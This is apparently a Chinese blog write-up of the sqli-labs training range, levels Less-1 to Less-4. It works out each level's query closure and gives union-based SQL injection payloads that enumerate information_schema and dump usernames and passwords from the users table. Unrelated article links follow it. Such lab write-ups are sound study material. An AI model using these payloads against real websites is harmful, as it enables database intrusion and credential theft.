less1-4

语法:Select 列名称 from 表名称 (where column_name=’xxx’ and …)

在数据库中:

information_schema:存放和数据库有关的东西

在information_schema中有SCHEMATA这是存放和数据库有关的数据库的名字

在information_schema中有TABLES用来存放和表有关的东西

在information_schema中有COLUMNS用来存放和列有关的东西,而且里面有table_name和column_name;主要是用来指定column是对属于哪一个table的

Information_schema:用来存放数据库内容的;

一般,进行一次注入需要走以下流程:

猜测数据库:

Select schema_name from information_schema.schemata

猜测某库中的数据表

Select table_name information_schema.tables where table_schema=’xxx’;

猜测表中的所有列:

Select column_name form information_schema.columns where table_name=’xxx’;

获取某列的内容

Select ***from ***

Less1:

先使用id=1’进行操作;出现错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

注意:这说明在’1’’ LIMIT 0,1附近有错误;并不是‘‘1’’LIMIT 0,1’

也就说明了,SQL查询语句是id=’1’

接着使用:

1' or 1=1--+

1' and 1=1--+

都是可以操作的;

接下来爆破数据库的列:

id=-1' union select 1,2,3,4,5--+

通过报错,慢慢减小select 后面的参数直到:

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。

爆破数据库的名字:

?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

说明:

schema_name:是information_schema.schemata中存放数据库名的列表;

爆破数数据库的数据表

id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

说明:

table_name是数据库information_schema中tables的表中的列。

table_schema也是table中的列:这里的table_name用来指定从属数据库的表名。用来说明,当前的table是属于哪一个数据库。

爆破数据库security中的users的列表:

id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

说明:

Column_name:是数据库information_schema中columns表格中用来存放列名字的列;table_name用来指定表名;给一个指定名字的表,然后搜索它的列名;

table_schema:是用来表示该表从属于哪一个数据库

在这里有一个有趣的发现:这个表,是任意数据库的表,只要数据库中有重名且重列名的表,那么这里就会显示出来;table_name和column_name都是information_schema.columns表中的。

为了方便,还可以再限定一下,在 where之后加入语句:and table_schema=’security’

爆数据:

id=-1' union select 1,2,group_concat(user_id,’==’,password) from users;

这里是错误的,正确是语句是:

id =-1' union select 1,2,group_concat(username,’==’,password) from users;

这里因为没有加作用域,所以就自动的规定为在less1中的数据库(security)查询了

到这里,less-1算是讲完了,less1-4算是一个题型,只需要修改一下包含用的符号就行了

Less2:

在浏览器输入:?id=2’:报错:

You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near '' LIMIT 0,1' at line 1

和less1输入?id=1’进行对比发现:(最外层的’’只是圈出的报错的地方)

less1:‘1’’ LIMIT 0,1

less2:’ LIMIT 0,1  è

于是得知,查询语句id使用的int:SELECT *
FROM table WHERE id=(some integer value)

接下来:将less的所有语句去除-1后面的’,拿来直接使用就行;

Less3:

首先使用id=1’对less3进行一个错误的查询,根据返回的错误,判断less3的查询语句中使用的是哪种方式的闭合;错误信息:

You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near ''3'') LIMIT 0,1' at line 1

注意:单引号和双引号肉眼难以区分。

可以使用鼠标进行选中来进行判断:发现都是单引号。

根据错误能够判断出,在后台执行语句为:select password from users where
id=(’3’’)

也就是说:开发者使用的查询为:SELECT login_name,password from table
where id=(‘our input’)

接着我们可以人为的使用’)来对后面的封闭进行闭合;

于是有了:sql=”select login_name,password from table where id=(‘3’)--+’)”;

或许以上看不清楚:在cmd中:select login_name,password from table
where id=(‘3’)--+’)

黄色标起来的地方是被--+注释了的地方;

接下来依旧是执行less1中的语句,将id=-1’换成id=-3’)即可(这里之所以写成-3,是因为想做个区分,实际上写任何数都可以,只要数据库中有对应的id值就会返回数据)

 

id=3)--+也可以进行查询    是因为弱比较?

执行 id=3’)
and 1=1

Id=(‘4’’)

Id= (‘4%27)  --+’)

Less4:

分别输入:4,4’,4),4’),4”

发现只有在4”的时候进行了报错(我这里就没有截图了),且知道了闭合方式为id=(“4”);

接着进行注入尝试:

能成功注入的有:

“) or
“1”=(“

“) or
1=1--+

于是将less1中的id=1’换成id=(“4就OK了

如果有错,请指正;

感谢您的阅读。

sqllabs靶场less1-4的更多相关文章

  1. JAVA代码审计之xss

    java_sec_code xss 补充和回忆一下一些开发基础 @RestController @RequestMapping(value = "/xss") public cla ...

  2. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  3. 靶场练习--sqli(1&2)

    前言 懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干.今天开始发愤图强,嘻嘻~ 计划内容有:靶场.视频.python.PHP.java.计算机英语. 首先,每天必搞靶场必看视频必学java和英 ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. 靶场练习-Sqli-labs通关记录(1-4关)

                              0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...

  6. Sqli-labs 注入靶场(1-22)

    Sqli-labs靶场1-22 Sql注入的本质是代码和数据的未分离,导致用户的输入可以对数据库产生恶意的输入或输出. 本篇博客旨在通过Sqli-labs的第1-22关,详细的描述Sql注入的相关场景 ...

  7. Less-1(GET字符型)

    union联合注入(方法一) 进入靶场 按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1 数据库执行语句:select * from news w ...

  8. [html]LESS-1.3.3

    网站:http://www.bootcss.com/p/lesscss/ 下载链接:http://files.cnblogs.com/files/z5337/less-1.3.3.min.js

  9. less-1

    说在前面的话,为什么用less: 1.需要编写的代码明显变少了 2.css管理更加容易 3.less学习成本低 4.使用less实现配色变得非常容易 5.兼容css3,实现各个浏览器中css的兼容写法 ...

  10. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

随机推荐

  1. 命令查询职责分离 - CQRS

    概念 CQRS是一种与领域驱动设计和事件溯源相关的架构模式, 它的全称是Command Query Responsibility Segregation, 又叫命令查询职责分离, Greg Young ...

  2. Day30.1:Math的常用方法

    Math 1.1 Math概述 Math类在Java.lang包下,不需要导包 public final class Math extends Object Math含有基本的数字运算方法,没有构造器 ...

  3. 【Java SE】Day01 前言、入门程序、常量、变量

    回顾一下Java之前学的内容 Day01 前言.入门程序.常量.变量 一.基础知识 莱布尼茨发明二进制,辗转相除与8421位权法互转,1B=1bit=1字节=8位=8byte dos cls清屏dir ...

  4. 【每日一题】【哈希表,返回结果的下标】2022年1月18日-NC61 两数之和

    描述给出一个整型数组 numbers 和一个目标值 target,请在数组中找出两个加起来等于目标值的数的下标,返回的下标按升序排列.(注:返回的数组下标从1开始算起) 算法: import java ...

  5. 【Spark】Day01-入门、模块组成、4种运行模式详解及配置、案例实操(spark分析过程)

    一.概述 1.概念 基于内存的大数据分析计算引擎 2.特点 快速.通用.可融合性 3.Spark内置模块[腾讯8000台spark集群] Spark运行在集群管理器(Cluster Manager)上 ...

  6. 浏览器DevTools使用技巧

    我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 本文作者:正则 作为一名前端开发人员,平时开发中使用最多的就是 Ch ...

  7. python3中的常见知识点1

    python3中的常见知识点1 简记一些python小知识 字符串输出 docstring(文档字符串) Lambda 函数(匿名函数) python函数之参数调用 参考链接 字符串输出 1.r'原始 ...

  8. SQL语句查询关键字 多表查询

    目录 SQL语句查询关键字 select from 编写顺序和查询数据 前期数据准备 编写SQL语句的小技巧 查询关键字之筛选 where 逻辑运算符 not and or between not b ...

  9. SQLMap入门——获取数据库用户的密码

    列出数据库用户的密码 如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解 python sqlmap.py -u http://localhost/sqli ...

  10. Kubernetes监控手册-01体系概述

    Kubernetes 监控体系驳杂,涉及到的内容非常多,总是感觉摸不到头绪,网上虽然有很多资料,都略显凌乱,没有一个体系化的讲解,今天开始,我们准备撰写一系列文章,把 Kubernetes 监控说透, ...